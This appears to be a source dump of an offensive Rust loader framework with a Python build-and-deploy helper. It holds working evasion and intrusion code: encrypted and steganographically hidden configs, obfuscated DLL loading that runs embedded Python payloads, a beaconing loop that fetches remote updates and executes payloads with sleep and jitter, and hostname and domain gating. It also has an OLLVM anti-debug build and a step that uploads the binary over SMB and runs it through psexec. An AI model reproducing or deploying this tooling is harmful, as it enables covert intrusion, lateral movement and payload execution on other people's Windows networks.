embedder(python_path: &PathBuf, script: &str) { 38 | let dll_path = encrypt_string!("c:\\windows\\system32\\kernel32.dll"); 39 | debug!("{}", dll_path); 40 | let kernellib = match load_dll_from_file(&dll_path) { 41 | Ok(kernellib) => kernellib, 42 | Err(err) => { 43 | debug!("{}", err); 44 | return; 45 | } 46 | }; 47 | info!("{}", encrypt_string!("Kernel32 DLL loaded successfully!")); 48 | 49 | // let pythonlib = unsafe { LoadLibraryA(dll_path.as_ptr() as LPCSTR) }; 50 | debug!("{}", encrypt_string!("load python310.dll")); 51 | let python_path_str = python_path.to_str().unwrap(); 52 | let pythonlib = match load_dll_from_file(&format!("{}{}", &python_path_str, "python310.dll")) { 53 | Ok(pythonlib) => pythonlib, 54 | Err(err) => { 55 | error!("{}", err); 56 | return; 57 | } 58 | }; 59 | unsafe { 60 | //let func_name = CString::new(encrypt_string!("LoadLibraryA")).unwrap(); 61 | let func_name = CString::new(encrypt_string!("LoadLibraryA")).unwrap(); 62 | let loadlib = kernellib 63 | .get:: i32>>( 64 | func_name.as_bytes(), 65 | ) 66 | .unwrap_or_else(|err| { 67 | error!( 68 | "{}{:?}", 69 | encrypt_string!("Failed to get function address: "), 70 | err 71 | ); 72 | std::process::exit(1); 73 | }); 74 | 75 | let func_name = CString::new(encrypt_string!("Py_InitializeEx")).unwrap(); 76 | let pyinit = pythonlib 77 | .get:: ()>>( 78 | func_name.as_bytes(), 79 | ) 80 | .unwrap_or_else(|err| { 81 | error!( 82 | "{}{:?}", 83 | encrypt_string!("Failed to get function address: "), 84 | err 85 | ); 86 | std::process::exit(1); 87 | }); 88 | let func_name = CString::new(encrypt_string!("PyRun_SimpleString")).unwrap(); 89 | let pyrun = pythonlib 90 | .get:: i32>>( 91 | func_name.as_bytes(), 92 | ) 93 | .unwrap_or_else(|err| { 94 | error!( 95 | "{}{:?}", 96 | encrypt_string!("Failed to get function address: "), 97 | err 98 | ); 99 | std::process::exit(1); 100 | }); 101 | let func_name = CString::new(encrypt_string!("Py_Finalize")).unwrap(); 102 | let pyfinish = pythonlib 103 | .get:: ()>>(func_name.as_bytes()) 104 | .unwrap_or_else(|err| { 105 | error!( 106 | "{}{:?}", 107 | encrypt_string!("Failed to get function address: "), 108 | err 109 | ); 110 | std::process::exit(1); 111 | }); 112 | 113 | let ctype = encrypt_string!("_ctypes.pyd"); 114 | loadlib(&format!("{:?}{}", &python_path_str, ctype).into_bytes()); 115 | let libffi = encrypt_string!("libffi-7.dll"); 116 | loadlib(&format!("{:?}{}", &python_path_str, libffi).into_bytes()); 117 | 118 | pyinit(0); 119 | 120 | warn!("{}", encrypt_string!("Exec the python code!")); 121 | let _result = pyrun(script.as_ptr()); 122 | pyfinish(); 123 | } 124 | } 125 | -------------------------------------------------------------------------------- /src/create_config.rs: -------------------------------------------------------------------------------- 1 | use crate::config::Config; 2 | use crate::dataoperation::apply_all_dataoperations; 3 | use crate::dataoperation::AesMaterial; 4 | use crate::dataoperation::DataOperation; 5 | use crate::link::LinkFetch; 6 | 7 | use std::env; 8 | use std::fs; 9 | 10 | use log::debug; 11 | use log::info; 12 | 13 | pub fn encrypt_config(config: Config, json_config_file: String) { 14 | let message = "Unable to write file"; 15 | let decrypt_file = format!("{}.encrypted", json_config_file); 16 | 17 | let mut dataoperations: Vec = vec![]; 18 | let aes_mat: AesMaterial = AesMaterial::generate_aes_material(); 19 | dataoperations.push(DataOperation::AES(aes_mat)); 20 | 21 | let mut data: Vec = config.concat_loader_jsondata().into_bytes(); 22 | data = apply_all_dataoperations(&mut dataoperations, data).unwrap(); 23 | 24 | let path_aes_conf = format!("{decrypt_file}.aes"); 25 | info!("[+] AES encrypted loader config: {}", path_aes_conf); 26 | fs::write(&path_aes_conf, &data).expect(message); 27 | 28 | let path_aes_material = format!("{decrypt_file}.aes.dataop"); 29 | info!("[+] AES decryption key material: {}", path_aes_material); 30 | fs::write( 31 | &path_aes_material, 32 | serde_json::to_string(&dataoperations).unwrap(), 33 | ) 34 | .expect(message); 35 | 36 | // Ofuscate AES material with ROT13+BASE64 37 | let mut dataoperations: Vec = vec![ 38 | DataOperation::ROT13, 39 | DataOperation::BASE64, 40 | DataOperation::ZLIB, 41 | ]; 42 | 43 | let mut data: Vec = fs::read(format!("{decrypt_file}.aes.dataop")).unwrap(); 44 | data = apply_all_dataoperations(&mut dataoperations, data).unwrap(); 45 | let path_aes_material_obfuscated = format!("{decrypt_file}.aes.dataop.obfuscated"); 46 | info!( 47 | "[+] AES decryption key obfuscated with {:?}: {}", 48 | dataoperations, path_aes_material_obfuscated 49 | ); 50 | fs::write(&path_aes_material_obfuscated, &data).expect(message); 51 | 52 | //NEW! 53 | 54 | let path_aes_material_obfuscated_dataop = 55 | format!("{decrypt_file}.aes.dataop.obfuscated.dataop"); 56 | dataoperations.reverse(); 57 | let mut obfuscated_dataop_zlib = serde_json::to_vec(&dataoperations).unwrap(); 58 | let mut zlib_dataop: Vec = vec![DataOperation::ZLIB]; 59 | obfuscated_dataop_zlib = 60 | apply_all_dataoperations(&mut zlib_dataop, obfuscated_dataop_zlib).unwrap(); 61 | fs::write(&path_aes_material_obfuscated_dataop, obfuscated_dataop_zlib).expect(message); 62 | info!( 63 | "[+] AES decryption key de-obfuscation steps: {}", 64 | path_aes_material_obfuscated_dataop 65 | ); 66 | } 67 | 68 | use std::path::Path; 69 | pub fn initialize_all_configs(config: Config, json_config_file: String) { 70 | // set input image for image... 71 | // TODO give a list of image to this function 72 | let input_image = concat!(env!("HOME"), "/.malleable/config/troll.png"); 73 | let input_image_name = Path::new(input_image) 74 | .file_name() 75 | .unwrap() 76 | .to_str() 77 | .unwrap() 78 | .to_lowercase(); 79 | match env::var("STEGANO_INPUT_IMAGE") { 80 | Ok(_) => (), 81 | Err(_) => //unsafe { 82 | env::set_var("STEGANO_INPUT_IMAGE", input_image) 83 | //;} 84 | , 85 | } 86 | 87 | encrypt_config(config.clone(), json_config_file.clone()); 88 | 89 | let mut dataope_list: Vec> = vec![]; 90 | for (_pool_nb, (_pool_name, pool)) in config.update_links.clone() { 91 | for update_link in pool.pool_links { 92 | let dataope = update_link.get_dataoperation(); 93 | if dataope_list.contains(&dataope) == false { 94 | dataope_list.push(dataope); 95 | } 96 | } 97 | } 98 | //TODO encrypt config 99 | 100 | debug!("Data operation list for Config: {:?}", dataope_list); 101 | for mut dataop in dataope_list { 102 | let mut extension_file_name = "".to_string(); 103 | let mut output_filename_steg: String = "".to_string(); 104 | let mut last_dataop_is_steg: bool = false; 105 | for onedataop in &dataop { 106 | let extension: String = format!(".{:?}", onedataop).to_lowercase(); 107 | extension_file_name.push_str(&extension); 108 | if onedataop == &DataOperation::STEGANO { 109 | output_filename_steg = format!( 110 | "{}{}-{}.png", 111 | json_config_file, extension_file_name, input_image_name 112 | ); 113 | last_dataop_is_steg = true; 114 | //unsafe { 115 | env::set_var("STEGANO_OUTPUT_IMAGE", output_filename_steg.clone()); 116 | //} 117 | }; 118 | } 119 | 120 | let mut data: Vec = config.clone().concat_loader_jsondata().into_bytes(); 121 | data = apply_all_dataoperations(&mut dataop, data).unwrap(); 122 | 123 | let output_filename: String; 124 | if last_dataop_is_steg == false { 125 | output_filename = format!("{}{}", json_config_file, extension_file_name); 126 | fs::write(&output_filename, &data).expect("Unable to write file"); 127 | } else { 128 | output_filename = output_filename_steg; 129 | } 130 | info!("Write CONFIG: {}", output_filename); 131 | } 132 | } 133 | -------------------------------------------------------------------------------- /src/loader/main.rs: -------------------------------------------------------------------------------- 1 | use crate::config::Config; 2 | use crate::dataoperation::un_apply_all_dataoperations; 3 | use crate::dataoperation::DataOperation; 4 | use crate::payload::Payload; 5 | use crate::payload_util::print_running_thread; 6 | 7 | use cryptify; 8 | use cryptify::encrypt_string; 9 | use std::thread; 10 | 11 | extern crate env_logger; 12 | use log::error; 13 | use log::info; 14 | 15 | // ------ STANDARD compilation 16 | #[rustfmt::skip] 17 | #[cfg(not(feature="ollvm"))] 18 | const INITIAL_CONFIG_ENCRYPTED : &[u8] = include_bytes!(concat!(env!("HOME"), "/.malleable/config/initial.json.encrypted.aes")); 19 | #[rustfmt::skip] 20 | #[cfg(not(feature="ollvm"))] 21 | const OBFUSCATED_CONFIG_DECRYPT_KEY: &[u8] = include_bytes!(concat!(env!("HOME"), "/.malleable/config/initial.json.encrypted.aes.dataop.obfuscated")); 22 | #[rustfmt::skip] 23 | #[cfg(not(feature="ollvm"))] 24 | const DECRYPT_KEY_OBFUSCATION_STEPS: &[u8] = include_bytes!(concat!(env!("HOME"), "/.malleable/config/initial.json.encrypted.aes.dataop.obfuscated.dataop")); 25 | 26 | // ------ OLLVM compilation from docker 27 | #[rustfmt::skip] 28 | #[cfg(feature="ollvm")] 29 | const INITIAL_CONFIG_ENCRYPTED : &[u8] = include_bytes!("/projects/config/initial.json.encrypted.aes"); 30 | #[rustfmt::skip] 31 | #[cfg(feature="ollvm")] 32 | const OBFUSCATED_CONFIG_DECRYPT_KEY: &[u8] = include_bytes!("/projects/config/initial.json.encrypted.aes.dataop.obfuscated"); 33 | #[rustfmt::skip] 34 | #[cfg(feature="ollvm")] 35 | const DECRYPT_KEY_OBFUSCATION_STEPS: &[u8] = include_bytes!("/projects/config/initial.json.encrypted.aes.dataop.obfuscated.dataop"); 36 | 37 | pub fn run_loader() { 38 | #[cfg(feature = "info")] 39 | #[cfg(not(feature = "debug"))] 40 | env_logger::builder() 41 | .filter_level(log::LevelFilter::Info) 42 | .init(); 43 | 44 | #[cfg(feature = "debug")] 45 | env_logger::builder() 46 | .filter_level(log::LevelFilter::Debug) 47 | .init(); 48 | 49 | cryptify::flow_stmt!(); 50 | 51 | let session_id: String = uuid::Uuid::new_v4().to_string(); 52 | info!("{}{}", encrypt_string!("[+] session_id "), session_id); 53 | info!(""); 54 | 55 | let initial_config_encrypted = INITIAL_CONFIG_ENCRYPTED.to_vec(); 56 | let obfuscated_config_decrypt_key = OBFUSCATED_CONFIG_DECRYPT_KEY.to_vec(); 57 | let decrypt_key_obfuscation_steps_zlib = DECRYPT_KEY_OBFUSCATION_STEPS.to_vec(); 58 | let decrypt_key_obfuscation_steps = un_apply_all_dataoperations( 59 | vec![DataOperation::ZLIB], 60 | decrypt_key_obfuscation_steps_zlib, 61 | ) 62 | .unwrap(); 63 | let ope_for_data_op: Vec = 64 | serde_json::from_slice(decrypt_key_obfuscation_steps.as_slice()).unwrap(); 65 | let initial_config_decrypt_key = 66 | un_apply_all_dataoperations(ope_for_data_op, obfuscated_config_decrypt_key).unwrap(); 67 | let initial_config_decrypt_key_dataoperation: Vec = 68 | serde_json::from_slice(initial_config_decrypt_key.as_slice()).unwrap(); 69 | 70 | info!("{}", encrypt_string!("[+] DECRYPT initial config")); 71 | let initial_config_decrypted = un_apply_all_dataoperations( 72 | initial_config_decrypt_key_dataoperation, 73 | initial_config_encrypted, 74 | ) 75 | .unwrap(); 76 | info!("{}", encrypt_string!("[+] DECRYPTED!")); 77 | 78 | let mut config: Config = serde_json::from_slice(initial_config_decrypted.as_slice()).unwrap(); 79 | info!("{}", encrypt_string!("[+] VERIFY initial config")); 80 | config.verify_newconfig_signature(&config).unwrap(); 81 | info!("{}{}", encrypt_string!("[+] VERIFIED!"), "\n"); 82 | 83 | let mut running_thread: Vec<(thread::JoinHandle<()>, Payload)> = vec![]; 84 | let mut loop_nb = 1; 85 | loop { 86 | info!( 87 | "{}{}{}", 88 | encrypt_string!("[+] BEGIN LOOP "), 89 | loop_nb, 90 | encrypt_string!(" --------------------------------------------------------") 91 | ); 92 | info!("{}{:?}", encrypt_string!("[+] Active LOADER: "), config); 93 | 94 | info!("{}", encrypt_string!("[+] DEFUSE UPDATE config")); 95 | if config.stop_defuse(&config.defuse_update) { 96 | error!("{}", encrypt_string!("[!] DEFUSE STOP update config")); 97 | } else { 98 | info!("{}", encrypt_string!("[+] UPDATE config")); 99 | let mut running_payload: Vec = vec![]; 100 | for t in &running_thread { 101 | running_payload.push(t.1.clone()); 102 | } 103 | 104 | config = config.update_config(&session_id, &running_payload); 105 | info!("{}", encrypt_string!("[+] DEFUSE payload exec")); 106 | if config.stop_defuse(&config.defuse_payload) { 107 | error!("{}", encrypt_string!("[!] DEFUSE STOP the payload exec")); 108 | } else { 109 | info!("{}", encrypt_string!("[+] PAYLOADS exec")); 110 | config.exec_payloads(&mut running_thread); 111 | } 112 | } 113 | 114 | print_running_thread(&mut running_thread); 115 | //TODO wait all thread to finish -> new option 116 | config.sleep_and_jitt(); 117 | info!( 118 | "{}{}{}{}", 119 | encrypt_string!("[+] END LOOP "), 120 | loop_nb, 121 | encrypt_string!(" ----------------------------------------------------------"), 122 | "\n" 123 | ); 124 | loop_nb = loop_nb + 1; 125 | } 126 | } 127 | -------------------------------------------------------------------------------- /winrust.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import logging 3 | import sys 4 | import uuid 5 | import os 6 | parser = argparse.ArgumentParser( 7 | prog = 'winrust', 8 | description = 'Tools to help from Linux to compile rust code Windows and then exec it into a Windows host by uploading with SMB + use some some impacket LateralMovement techniques', 9 | epilog = 'by Brother') 10 | parser.add_argument('bin',help='target bin') 11 | parser.add_argument('--mem1',default=False,action='store_true',help='add a file in MEMORY_1 at compilation time, file should be located here: ~/.malleable/config/mem1') 12 | parser.add_argument('--mem2',default=False,action='store_true',help='add a file in MEMORY_2 at compilation time, file should be located here: ~/.malleable/config/mem2') 13 | parser.add_argument('--mem3',default=False,action='store_true',help='add a file in MEMORY_3 at compilation time, file should be located here: ~/.malleable/config/mem3') 14 | parser.add_argument('--mem4',default=False,action='store_true',help='add a file in MEMORY_4 at compilation time, file should be located here: ~/.malleable/config/mem4') 15 | parser.add_argument('-exec_target',default='',help='[[domain/]username[:password]@], by default use the content of ~/.exec') 16 | parser.add_argument('-exec_method',default='psexec.py',help='Method to execute on the Windows side, default psexec.py') 17 | parser.add_argument('--no_exec',default=False,action='store_true',help='Compile only and drop with smb to the target but dont execute') 18 | #parser.add_argument('--no_drop',default=False,action='store_true',help='Compile only, dont drop to the target,dont execute') 19 | parser.add_argument('--ollvm',default=False,action='store_true',help='OLLVM obfuscation, add the release flag automatically') 20 | parser.add_argument('--release',default=False,action='store_true',help='activate the cargo release mode for compilation, sinon its debug') 21 | parser.add_argument('--debug',default=False,action='store_true',help='activate the agent debug log into STDOUT, RUST_LOG=debug .you should also activate rust loggin via env variable: setx RUST_LOG info /m + setx RUST_LOG info') 22 | parser.add_argument('--info',default=False,action='store_true',help='activate the agent debug log into STDOUT, RUST_LOG=info . you should also activate rust loggin via env variable: setx RUST_LOG info /m + setx RUST_LOG info') 23 | parser.add_argument('--verbose','-v',default=False,action='store_true',help='verbose execution') 24 | parser.add_argument('--no_loader',default=False,action='store_true',help='dont add this compil flag: --features loader') 25 | 26 | args = parser.parse_args() 27 | 28 | def main(): 29 | log = logging.getLogger("my-logger") 30 | if args.verbose: 31 | log.setLevel(logging.DEBUG) 32 | else: 33 | log.setLevel(logging.INFO) 34 | 35 | ch = logging.StreamHandler() 36 | ch.setLevel(logging.DEBUG) 37 | formatter = logging.Formatter("%(asctime)s %(levelname)s\t%(message)s") 38 | ch.setFormatter(formatter) 39 | log.addHandler(ch) 40 | 41 | if not args.no_loader : 42 | features_loader='--features loader' 43 | else: 44 | features_loader='' 45 | 46 | 47 | if args.release or args.ollvm: 48 | mode='release' 49 | comm_mode='--release' 50 | else: 51 | mode='debug' 52 | comm_mode='' 53 | 54 | log_level='' 55 | if args.debug: 56 | log_level='--features debug' 57 | 58 | if args.info: 59 | log_level=f'{log_level} --features info' 60 | 61 | 62 | if args.exec_target == '': 63 | #TODO if file not present 64 | with open(os.path.expanduser("~")+'/.exec') as file_read: 65 | exec_target=file_read.read().replace('\n','') 66 | 67 | else: 68 | exec_target=args.exec_target 69 | 70 | memory_options=args.mem1*' --features mem1 ' + args.mem2*' --features mem2 ' + args.mem3*' --features mem3 ' + args.mem4*' --features mem4 ' 71 | 72 | if not args.ollvm: 73 | file=f"target/x86_64-pc-windows-gnu/{mode}/{args.bin}.exe" 74 | else: 75 | file=f"ollvm/x86_64-pc-windows-gnu/{mode}/{args.bin}.exe" 76 | filename=os.path.basename(file) 77 | filename_target=f"{args.bin}-{uuid.uuid4().hex}.exe" 78 | file_target=f"/tmp/{filename_target}" 79 | 80 | log.debug(f"file={file}") 81 | log.debug(f"filename={filename}") 82 | log.debug(f"filename_target={filename_target}") 83 | log.debug(f"file_target={file_target}") 84 | log.debug(f"exec_target={exec_target}") 85 | log.debug(f"memory_options={memory_options}") 86 | 87 | if not args.ollvm: 88 | log.info("[+] NORMAL Compilation") 89 | # TODO enlever --features executable 90 | comm=f'''cargo build --target x86_64-pc-windows-gnu --bin "{args.bin}" {comm_mode} {log_level} {memory_options} {features_loader}''' 91 | log.info(comm) 92 | compil_result=os.system(comm) 93 | 94 | else: 95 | log.info("[+] OLLVM Compilation") 96 | os.system('cp ~/.malleable/config/initial.json* ~/.malleable/config/mem* config/') 97 | os.system('mv Cargo.lock Cargo.lock.normal') 98 | os.system('cp Cargo.lock.ollvm Cargo.lock') 99 | log.info(''' 100 | OLLVM FEATURE, cf: https://github.com/joaovarelas/Obfuscator-LLVM-16.0 101 | 102 | ACTIVATED: 103 | Anti Class Dump: -enable-acdobf 104 | Anti Hooking: -enable-antihook 105 | Anti Debug: -enable-adb 106 | Bogus Control Flow: -enable-bcfobf 107 | Basic Block Splitting: -enable-splitobf 108 | Instruction Substitution: -enable-subobf 109 | Function CallSite Obf: -enable-fco 110 | (*) String Encryption: -enable-strcry 111 | Constant Encryption: -enable-constenc 112 | (*) Function Wrapper: -enable-funcwra 113 | (*) Control Flow Flattening: -enable-cffobf 114 | (*) Indirect Branching: -enable-indibran 115 | ------ 116 | NOT ACTIVATED: 117 | N/A 118 | ''') 119 | comm=f'''sudo docker run -v $(pwd):/projects/ -e LITCRYPT_ENCRYPT_KEY="$LITCRYPT_ENCRYPT_KEY" -e CARGO_TARGET_DIR=ollvm -it ghcr.io/joaovarelas/obfuscator-llvm-16.0 cargo rustc --bin "{args.bin}" --features ollvm {log_level} {memory_options} {features_loader} --target x86_64-pc-windows-gnu --release -- -Cdebuginfo=0 -Cstrip=symbols -Cpanic=abort -Copt-level=3 -Cllvm-args='-enable-acdobf -enable-antihook -enable-adb -enable-bcfobf -enable-splitobf -enable-subobf -enable-fco -enable-funcwra -enable-cffobf -enable-indibran' ''' 120 | log.info(comm) 121 | compil_result=os.system(comm) 122 | os.system('cp -rf Cargo.lock Cargo.lock.ollvm') 123 | os.system('mv Cargo.lock.normal Cargo.lock') 124 | 125 | # compil_result=0 if compilation is OK 126 | if not compil_result: 127 | log.info('[+] compilation succeed') 128 | os.system('rm -f config/*') 129 | log.info(os.popen(f'ls -lah {file}').read().replace('\n','')) 130 | log.info(os.popen(f'file {file}').read().replace('\n','')) 131 | log.info(os.popen(f'sha256sum {file}').read().replace('\n','')) 132 | log.info(os.popen(f'sha1sum {file}').read().replace('\n','')) 133 | os.system(f'cp {file} {file_target}') 134 | 135 | if args.verbose: 136 | log.info(f'[+] upload file via SMB into: {exec_target}') 137 | else: 138 | log.info(f'[+] upload file via SMB into target') 139 | upload_comm=f''' 140 | smbclient.py "{exec_target}" < bool { 23 | match self { 24 | Defuse::Hostname(hostname) => hostname.stop_exec(config), 25 | Defuse::DomainJoin(domain_join) => domain_join.stop_exec(config), 26 | Defuse::CheckInternet(checkinternet) => checkinternet.stop_exec(config), 27 | Defuse::Env(env_variable) => env_variable.stop_exec(config), 28 | } 29 | } 30 | pub fn get_operator(&self) -> Operator { 31 | match self { 32 | Defuse::Hostname(hostname) => hostname.get_operator(), 33 | Defuse::DomainJoin(domain_join) => domain_join.get_operator(), 34 | Defuse::CheckInternet(checkinternet) => checkinternet.get_operator(), 35 | Defuse::Env(env_variable) => env_variable.get_operator(), 36 | } 37 | } 38 | } 39 | 40 | #[derive(Serialize, Deserialize, Debug, Clone, Copy)] 41 | pub enum Operator { 42 | AND, 43 | OR, 44 | } 45 | 46 | pub trait DefuseCheck { 47 | fn stop_exec(&self, config: &Config) -> bool; 48 | fn get_operator(&self) -> Operator; 49 | } 50 | 51 | #[derive(Serialize, Deserialize, Debug, Clone)] 52 | pub struct CheckInternet { 53 | pub list: Vec, 54 | pub operator: Operator, 55 | } 56 | impl DefuseCheck for CheckInternet { 57 | fn stop_exec(&self, config: &Config) -> bool { 58 | for url in &self.list { 59 | debug!("{}{}", encrypt_string!("check internet: "), url); 60 | let link: Link = Link::HTTP(HTTPLink { 61 | url: url.to_string(), 62 | dataoperation: vec![], 63 | jitt: 0, 64 | sleep: 0, 65 | }); 66 | match link.fetch_data(config) { 67 | Ok(_) => return false, 68 | Err(error) => { 69 | warn!("{}{}", encrypt_string!("error: "), error); 70 | continue; 71 | } 72 | }; 73 | } 74 | true 75 | } 76 | fn get_operator(&self) -> Operator { 77 | self.operator 78 | } 79 | } 80 | 81 | #[derive(Serialize, Deserialize, Debug, Clone)] 82 | pub struct Hostname { 83 | pub list: Vec, 84 | pub operator: Operator, 85 | } 86 | impl DefuseCheck for Hostname { 87 | fn stop_exec(&self, _config: &Config) -> bool { 88 | //TODO virer le unwrap 89 | let hostname = gethostname() 90 | .to_ascii_uppercase() 91 | .to_os_string() 92 | .into_string() 93 | .unwrap(); 94 | debug!("Hostname: {:?}", gethostname().to_ascii_uppercase()); 95 | for defuse_hostname in &self.list { 96 | let defuse_to_upper = defuse_hostname.to_ascii_uppercase(); 97 | if defuse_to_upper == hostname { 98 | debug!( 99 | "{}{:?} ", 100 | encrypt_string!("Defuse MATCH: "), 101 | defuse_to_upper 102 | ); 103 | return false; 104 | } else { 105 | debug!("{}{:?} ", encrypt_string!("Defuse FAIL: "), defuse_to_upper); 106 | } 107 | } 108 | true 109 | } 110 | fn get_operator(&self) -> Operator { 111 | self.operator 112 | } 113 | } 114 | 115 | #[derive(Serialize, Deserialize, Debug, Clone)] 116 | pub struct Env { 117 | pub var: String, 118 | pub value: String, 119 | pub operator: Operator, 120 | } 121 | impl DefuseCheck for Env { 122 | fn stop_exec(&self, _config: &Config) -> bool { 123 | match env::var(&self.var) { 124 | Ok(value) => { 125 | if value == self.value { 126 | debug!( 127 | "{}{}]={:?}", 128 | encrypt_string!("Defuse MATCH: env["), 129 | &self.var, 130 | env::var(&self.var).unwrap() 131 | ); 132 | false 133 | } else { 134 | debug!( 135 | "{}{}]={:?}{}{}", 136 | encrypt_string!("Defuse FAIL: env["), 137 | &self.var, 138 | env::var(&self.var).unwrap(), 139 | encrypt_string!(" instead of "), 140 | self.value 141 | ); 142 | true 143 | } 144 | } 145 | _ => { 146 | debug!( 147 | "{}{}{}", 148 | encrypt_string!("Defuse FAIL: env["), 149 | &self.var, 150 | encrypt_string!("] is empty") 151 | ); 152 | true 153 | } 154 | } 155 | } 156 | fn get_operator(&self) -> Operator { 157 | self.operator 158 | } 159 | } 160 | 161 | #[cfg(target_os = "windows")] 162 | use windows_sys::Win32::{ 163 | Foundation::ERROR_SUCCESS, 164 | Networking::ActiveDirectory::{DsGetDcNameA, DOMAIN_CONTROLLER_INFOA}, 165 | }; 166 | 167 | #[derive(Serialize, Deserialize, Debug, Clone)] 168 | pub struct DomainJoin { 169 | pub list: Vec, 170 | pub operator: Operator, 171 | } 172 | 173 | #[cfg(target_os = "linux")] 174 | impl DefuseCheck for DomainJoin { 175 | fn stop_exec(&self, _config: &Config) -> bool { 176 | true 177 | } 178 | fn get_operator(&self) -> Operator { 179 | self.operator 180 | } 181 | } 182 | 183 | #[cfg(target_os = "windows")] 184 | impl DefuseCheck for DomainJoin { 185 | fn stop_exec(&self, _config: &Config) -> bool { 186 | let mut domain_controller_info: *mut DOMAIN_CONTROLLER_INFOA = std::ptr::null_mut(); 187 | let status = unsafe { 188 | DsGetDcNameA( 189 | std::ptr::null(), 190 | std::ptr::null(), 191 | std::ptr::null(), 192 | std::ptr::null(), 193 | 0, 194 | &mut domain_controller_info, 195 | ) 196 | }; 197 | 198 | if status != ERROR_SUCCESS { 199 | error!( 200 | "{}", 201 | encrypt_string!("Defuse FAIL: Failed to get domain controller info") 202 | ); 203 | return true; 204 | } 205 | 206 | let domain_name = unsafe { (*domain_controller_info).DomainName }; 207 | debug!("Domain Name: {}", unsafe { 208 | std::ffi::CStr::from_ptr(domain_name as _) 209 | .to_str() 210 | .unwrap() 211 | .to_ascii_uppercase() 212 | }); 213 | 214 | for domain in &self.list { 215 | //let defuse_to_upper = domain.to_ascii_uppercase(); 216 | let defuse_to_upper = domain.to_ascii_lowercase(); 217 | 218 | if defuse_to_upper 219 | == unsafe { std::ffi::CStr::from_ptr(domain_name as _).to_str().unwrap() } 220 | { 221 | debug!( 222 | "{}{:?} ", 223 | encrypt_string!("Defuse MATCH: "), 224 | defuse_to_upper 225 | ); 226 | return false; 227 | } else { 228 | debug!("{}{:?} ", encrypt_string!("Defuse FAIL: "), defuse_to_upper); 229 | } 230 | } 231 | true 232 | } 233 | fn get_operator(&self) -> Operator { 234 | self.operator 235 | } 236 | } 237 | -------------------------------------------------------------------------------- /src/dataoperation.rs: -------------------------------------------------------------------------------- 1 | use crate::lsb_text_png_steganography_mod::{hide_mod, reveal_mod}; 2 | 3 | use anyhow::{Context, Result}; 4 | use base64::prelude::*; 5 | use chksum_sha2_512 as sha2_512; 6 | use flate2::write::ZlibDecoder; 7 | use flate2::write::ZlibEncoder; 8 | use flate2::Compression; 9 | use rand::Rng; 10 | use regex::Regex; 11 | use rot13::rot13; 12 | use serde::{Deserialize, Serialize}; 13 | use std::env; 14 | use std::io::Write; 15 | 16 | use cryptify::encrypt_string; 17 | use log::debug; 18 | 19 | #[derive(Serialize, Deserialize, Debug, PartialEq, Clone)] 20 | pub enum DataOperation { 21 | BASE64, 22 | AES(AesMaterial), 23 | WEBPAGE, 24 | ROT13, // WARNING only after base64 because input is String 25 | REVERSE, 26 | STEGANO, 27 | ZLIB, 28 | SHA256(SHA256), 29 | } 30 | 31 | #[derive(Serialize, Deserialize, Debug, PartialEq, Clone)] 32 | pub struct SHA256 { 33 | pub hash: String, 34 | } 35 | impl SHA256 { 36 | fn check_sha256(&self, data: Vec) -> Result, anyhow::Error> { 37 | debug!("{}", encrypt_string!("dataoperation: SHA256 verify")); 38 | let digest: chksum_sha2_512::Digest = sha2_512::chksum(data.clone())?; 39 | let digest_lowercase = digest.to_hex_lowercase(); 40 | if digest_lowercase == self.hash { 41 | Ok(data) 42 | } else { 43 | bail!("sha256 not verified: {}", digest_lowercase) 44 | } 45 | } 46 | } 47 | 48 | pub trait UnApplyDataOperation { 49 | fn un_apply_one_operation(&self, data: Vec) -> Result, anyhow::Error>; 50 | fn base64_decode(&self, data: Vec) -> Result, anyhow::Error> { 51 | debug!("{}", encrypt_string!("dataoperation: BASE64 decode")); 52 | BASE64_STANDARD 53 | .decode(data) 54 | .with_context(|| encrypt_string!("Failed to decode BASE64")) 55 | } 56 | fn rot13_decode(&self, data: Vec) -> Result, anyhow::Error> { 57 | debug!("{}", encrypt_string!("dataoperation: ROT13 decode")); 58 | Ok(rot13(&String::from_utf8(data)?).into_bytes()) 59 | } 60 | 61 | fn webpage_harvesting(&self, data: Vec) -> Result, anyhow::Error> { 62 | debug!("{}", encrypt_string!("dataoperation: WEBPAGE harvesting")); 63 | let haystack = String::from_utf8_lossy(&*data); 64 | let re = Regex::new(r"!!!(?\S+)!!!").unwrap(); 65 | 66 | let Some(caps) = re.captures(&haystack) else { 67 | let e: Result, anyhow::Error> = Err(anyhow::Error::msg(encrypt_string!( 68 | "Failed to harvest WEBPAGE" 69 | ))); 70 | return e; 71 | }; 72 | Ok(caps["loader"].as_bytes().to_vec()) 73 | } 74 | 75 | fn stegano_decode_lsb(&self, data: Vec) -> Result, anyhow::Error> { 76 | debug!("{}", encrypt_string!("dataoperation: STEGANO decode")); 77 | Ok(reveal_mod(data)?) 78 | } 79 | 80 | fn zlib_decompress(&self, data: Vec) -> Result, anyhow::Error> { 81 | debug!("{}", encrypt_string!("dataoperation: ZLIB decode")); 82 | let writer = Vec::new(); 83 | let mut d: ZlibDecoder> = ZlibDecoder::new(writer); 84 | let _ = d.write_all(&data); 85 | let writer: Vec = d.finish()?; 86 | Ok(writer) 87 | } 88 | } 89 | impl UnApplyDataOperation for DataOperation { 90 | fn un_apply_one_operation(&self, data: Vec) -> Result, anyhow::Error> { 91 | match self { 92 | DataOperation::BASE64 => self.base64_decode(data), 93 | DataOperation::ROT13 => self.rot13_decode(data), 94 | DataOperation::WEBPAGE => self.webpage_harvesting(data), 95 | DataOperation::AES(aes_material) => aes_material.decrypt_aes(data), 96 | DataOperation::STEGANO => self.stegano_decode_lsb(data), 97 | DataOperation::ZLIB => self.zlib_decompress(data), 98 | DataOperation::REVERSE => todo!(), 99 | DataOperation::SHA256(sha256) => sha256.check_sha256(data), 100 | } 101 | } 102 | } 103 | 104 | pub trait ApplyDataOperation { 105 | fn apply_one_operation(&mut self, data: Vec) -> Result, anyhow::Error>; 106 | fn base64_encode(&self, data: Vec) -> Result, anyhow::Error> { 107 | debug!("{}", encrypt_string!("dataoperation: BASE64 encode")); 108 | Ok(BASE64_STANDARD.encode(data).into_bytes()) 109 | } 110 | fn rot13_encode(&self, data: Vec) -> Result, anyhow::Error> { 111 | debug!("{}", encrypt_string!("dataoperation: ROT13 encode")); 112 | Ok(rot13(&String::from_utf8(data)?).into_bytes()) 113 | } 114 | 115 | fn webpage_create(&self, data: Vec) -> Result, anyhow::Error> { 116 | debug!("{}", encrypt_string!("dataoperation: WEBPAGE create")); 117 | Ok(format!("!!!{}!!!", std::str::from_utf8(&data)?).into_bytes()) 118 | } 119 | 120 | fn stegano_encode_lsb(&self, data: Vec) -> Result, 